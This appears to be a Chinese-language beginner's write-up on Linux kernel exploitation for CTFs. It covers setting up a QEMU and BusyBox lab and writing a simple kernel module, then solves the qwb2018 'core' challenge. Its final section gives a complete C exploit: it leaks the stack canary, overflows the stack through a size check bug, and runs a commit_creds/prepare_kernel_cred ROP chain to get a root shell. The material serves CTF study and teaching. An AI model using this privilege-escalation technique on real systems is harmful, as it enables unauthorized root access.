本机环境为 Ubuntu 22.04 x86_64
首先感谢 a3gg 让我们避免入门 Kernel Pwn 路上的很多坑
环境搭建 安装一些依赖包 1 sudo apt git fakeroot build-essential ncurses-dev xz-utils qemu-system-x86 flex libncurses5-dev libssl-dev bc bison libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libelf-dev
获取内核镜像 内核镜像一般称为 bzImage
这里准备下载已编译内核镜像
列出版本对应可下载内核镜像
1 apt search linux-image | grep 5.19.0
选一个看着顺眼的下载就行
1 apt download linux-image-5.19.0-generic-41-generic
解压下载的 deb 文件
1 dpkg -X ./ linux-image-5.19.0-41-generic_5.19.0-41.42~22.04.1_amd64.deb
./boot/vmlinuz-5.19.0-41-generic
就是 bzImage 镜像文件
使用 Busybox 构建文件系统 编译 Busybox BusyBox 是一个集成了三百多个最常用 Linux 命令和工具的软件,包含了例如 ls、cat 和 echo 等一些简单的工具,Busybox 可以为内核提供一个基本的用户环境
获取 Busybox 源码
选择一个稳定版本
1 wget https://busybox.net/downloads/busybox-1.36.1.tar.bz2
编译
进入配置页面
勾选 Settings
–> Build static binary file (no shared file)
,这样不用单独配置 libc,然后退出
接下来编译
生成一个 _install
目录,用来构建磁盘镜像
构建文件系统
初始化文件系统
1 2 3 4 5 6 cd _installmkdir -pv {bin,sbin,etc,proc,sys,home,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}}touch ./etc/inittabmkdir ./etc/init.dtouch ./etc/init.d/rcSchmod +x ./etc/init.d/rcS
配置初始化脚本
配置 ./etc/inttab
,写入下面内容,指定系统初始化脚本
1 2 3 4 5 6 ::sysinit:/etc/init.d/rcS ::askfirst:/bin/ash ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init
配置 ./etc/init.d/rcS
,挂载各种文件系统
./etc/init.d/rcS 1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev mount -t tmpfs tmpfs /tmp mkdir /dev/ptsmount -t devpts devpts /dev/pts echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh poweroff -d 0 -f
配置用户组
1 2 3 4 5 echo "root:x:0:0:root:/root:/bin/sh" > etc/passwdecho "ctf:x:1000:1000:ctf:/home/ctf:/bin/sh" >> etc/passwdecho "root:x:0:" > etc/groupecho "ctf:x:1000:" >> etc/groupecho "none /dev/pts devpts gid=5,mode=620 0 0" > etc/fstab
打包文件系统为镜像文件 在 _install
目录下执行
1 find . | cpio -o -H newc > ../../rootfs.cpio
在文件系统中添加或修改文件 可以直接向 _install
内添加修改,但会比较混乱,也可以解压文件系统镜像后再打包
解压文件系统镜像
1 cpio -idv < ./rootfs.cpio
向里面加入想要添加的文件即可
重打包文件系统镜像
1 find . | cpio -o -H newc > ../new_rootfs.cpio
使用 qemu 运行内核 将 bzImage 和 rootfs.cpio 放到同一个目录
编写启动脚本 boot.sh
boot.sh 1 2 3 4 5 6 7 8 9 10 11 #!/bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -monitor /dev/null \ -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet nokaslr" \ -cpu kvm64,+smep \ -smp cores=2,threads=1 \ -nographic \ -s
部分参数说明如下:
-m
:虚拟机内存大小
-kernel
:内存镜像路径
-initrd
:磁盘镜像路径
-append
:附加参数选项
nokalsr
:关闭内核地址随机化,方便调试
rdinit
:指定初始启动进程,/sbin/init
进程会默认以 /etc/init.d/rcS
作为启动脚本
loglevel=3
& quiet
:不输出 log
console=ttyS0
:指定终端为 /dev/ttyS0
,这样一启动就能进入终端界面
-monitor
:将监视器重定向到主机设备 /dev/null
,这里重定向至 null 主要是防止 CTF 中被人给偷了 qemu 拿 flag
-cpu
:设置 CPU 安全选项,在这里开启了 SMEP 保护
-s
:相当于 -gdb tcp::1234
的简写(也可以直接这么写),后续可以通过 gdb 连接本地端口进行调试
接下来运行 boot.sh 即可成功运行
了解 LKM 虽然 Linux 内核采用宏内核架构,但是内核装载的很多服务其实很少用到甚至用不到,但它们会占据大量内存空间,且添加、修改、删除服务往往要重新编译整个内核,浪费时间
可装载内核模块(Loadable Kernel Module)因此出现,在内核中它可以自由地装载或卸载,而不用重新编译、重启内核,提高了内核的可拓展性和维护性。而设备驱动就是其中一种
CTF 中的 kenrel pwn 往往就是通过 LKM 的漏洞来控制内核,而不是 pwn 内核组件
预备知识 LKM 同样也是 ELF 格式文件,但不能独立运行,必须装载在内核中运行,并且上下文为内核空间
因此 LKM 不能使用共享库中的函数,也不能直接与用户进行交互,它必须使用内核提供的函数,在某种意义上来说 LKM 编程也是内核编程
编写一个简单模块 hello_kernel.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> static int __init kernel_module_init (void ) { printk("<1> Hello the Linux kernel world!\n" ); return 0 ; } static void __exit kernel_module_exit (void ) { printk("<1> Good bye the Linux kernel world! See you again!\n" ); } module_init(kernel_module_init); module_exit(kernel_module_exit); MODULE_LICENSE("GPL" ); MODULE_AUTHOR("Humoooor" );
头文件
linux/module.h
:LKM 必须包含
linux/kernel.h
:载入内核相关信息
linux/init.h
:包含一些常用的宏
一般这三个头文件在 LKM 编程中都要使用
LKM 入口点/出口点
module_init
:内核载入 LKM 时会缺省调用
module_exit
:内核卸载 LKM 时会缺省调用
其他
__init
和 __exit
:在函数结束后释放对应内存
MODULE_LICENSE
和 MODULE_AUTHOR
:声明 LKM 作者和许可证
printk
:内核函数,向内核缓冲区写入,<1>
表示信息的紧急级别(8 个优先级,0 为最高)
编译 LKM 一般使用 Makefile 来编译 LKM
1 2 3 4 5 6 7 8 obj-m += hello_kernel.o CURRENT_PATH := $(shell pwd) LINUX_KERNEL := $(shell uname -r) LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL) all: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules clean: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
obj-m
:指定了编译的结果应当为 .ko
文件,即可装载内核模块,类似命令有:obj-y
编译进内核,obj-n
不编译
CURRENT_PATH & LINUX_KERNEL & LINUX_KERNEL_PATH
:三个自定义变量,分别意味着通过 shell 命令获得当前路径、内核版本、内核源码路径
all
:编译指令
clean
:清理指令
使用 make
命令即可编译生成 hello_kernel.ko 文件
使用 LKM 1 2 3 4 5 6 7 8 9 10 11 sudo insmod hello_kernel.ko lkmod | grep hello_kernel sudo rmmod hello_kernel.ko dmesg | grep "kenrel module"
入门题 qwb2018_core 查看脚本 看一下启动脚本 start.sh
start.sh 1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \
开启 kaslr,可以先关闭 kaslr 获取没有偏移的函数地址
再看一下 init 脚本
init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
看不太懂,先把 poweroff 注释掉再打包回去再说
这里把 kallsyms 复制过去了,可以得到内核各个符号的地址
注意这里的解包和打包不太一样,发现还有一层 gzip 的压缩,卡了好久 wsfw
1 2 3 4 5 6 find . | cpio -o -H newc | gzip -9 > ../core.cpio find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > $1
分析 LKM 浅浅 checksec 一下
1 2 3 4 5 6 $ checksec core.ko Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
然后直接拖入 IDA 即可
先看看 init_module
1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 0666LL , 0LL , &core_fops); printk(&unk_2DE); return 0LL ; }
创建一个进程节点文件 /proc/core
,用于用户进程与 LKM 通信
查看 core_fops 结构体,定义了三个函数
core_write
:调用 write
时,内核调用此函数
core_ioctl
:调用 ioctl
时,内核调用此函数
core_release
:只有打印功能,还是看看 core_write
和 core_ioctl
家人们
1 2 3 4 5 6 7 8 __int64 __fastcall core_write (__int64 fd, __int64 user, unsigned __int64 size) { printk(&unk_215); if ( size <= 0x800 && !copy_from_user(&name, user, size) ) return (unsigned int )size; printk(&unk_230); return 0xFFFFFFF2 LL; }
core_write
向 bss 写入最多 0x800 字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 fd, int choice, __int64 value) { switch ( choice ) { case 0x6677889B : core_read(value); break ; case 0x6677889C : printk(&unk_2CD); off = value; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(value); break ; } return 0LL ; }
core_ioctl
可调用 core_read
、core_copy_func
函数,且可以设置全局变量 off 的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall core_read (__int64 addr_user) { char *v2; __int64 i; unsigned __int64 result; char buf[64 ]; unsigned __int64 v6; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = buf; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy (buf, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(addr_user, &buf[off], 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
core_read
复制栈中 64 字节到用户进程空间,由于 off 可控,可以用来泄露地址和 canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall core_copy_func (__int64 size) { __int64 result; char v2[64 ]; unsigned __int64 v3; v3 = __readgsqword(0x28 u); printk(&unk_215); if ( size > 63 ) { printk(&unk_2A1); return 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)size); } return result; }
core_copy_func
传入一个 64 位大小的 size,复制 bss 上的数据到栈中
size 有检查,但是最后取 size 的低 16 位,传入一个合适负数就可以最多复制 0xffff 字节的 bss 到栈中,导致栈溢出,进行 ROP
漏洞利用 ROP 漏洞利用已经很明了
core_read
可以溢出读栈,拿到 canary 和基址
这里提一嘴,才知道 canary 是一个线程一个,之前以为一个函数一个,一直没想出来怎么做😇
core_copy_func
可以溢出写栈,进行 ROP
思路
读取 kallsyms 获取 prepare_kernel_cred
和 commit_creds
的函数地址
通过 core_read
获取 canary 和基址
通过 core_write
写 ROP 链到 bss
通过 core_copy_func
复制 ROP 链栈溢出
exp exp.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include "../mypwn.h" #define iretq 0xffffffff81050ac2 + offset #define swapgs_popfq_ret 0xffffffff81a012da + offset #define pop_rdi_ret 0xffffffff81000b2f + offset #define mov_rdi_rax_jmp_rdx 0xffffffff8106a6d2 + offset #define pop_rdx_ret 0xffffffff810a0f49 + offset #define swapgs_restore_ret #define mov_cr4_rdi_push_rdx_popfq_ret 0xffffffff81075014 + offset #define READ 0x6677889B #define OFF 0x6677889C #define COPY_FUNC 0x6677889A void core_read (int fd, char *buf) { ioctl(fd, READ, buf); } void core_set_off_val (int fd, size_t off) { ioctl(fd, OFF, off); } void core_copy_func (int fd, size_t len) { ioctl(fd, COPY_FUNC, len); } int main () { unsigned long addr, offset, canary; unsigned long rop_chain[0x100 ]; char buf[0x300 ]; char type[0x10 ]; myLog("Start to pwn kernel" ); save_status(); get_privilege_addr(NULL ); offset = commit_creds - 0xffffffff8109c8e0 ; myLog("Get offset: %p" , offset); int fd = open("/proc/core" , O_RDWR); core_set_off_val(fd, 64 ); core_read(fd, buf); canary = ((unsigned long *)buf)[0 ]; myLog("Get canary: %p" , canary); int i; for (i = 0 ; i < 10 ; i++) rop_chain[i] = canary; rop_chain[i++] = pop_rdi_ret; rop_chain[i++] = 0 ; rop_chain[i++] = prepare_kernel_cred; rop_chain[i++] = pop_rdx_ret; rop_chain[i++] = commit_creds; rop_chain[i++] = mov_rdi_rax_jmp_rdx; rop_chain[i++] = swapgs_popfq_ret; rop_chain[i++] = 0 ; rop_chain[i++] = iretq; rop_chain[i++] = get_root_shell; rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_sp; rop_chain[i++] = user_ss; write(fd, rop_chain, 0x800 ); core_copy_func(fd, 0xffffffffffff0000 | 0x100 ); return 0 ; }
参考链接 【OS.0x01】Linux Kernel II:内核简易食用指北
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF
https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/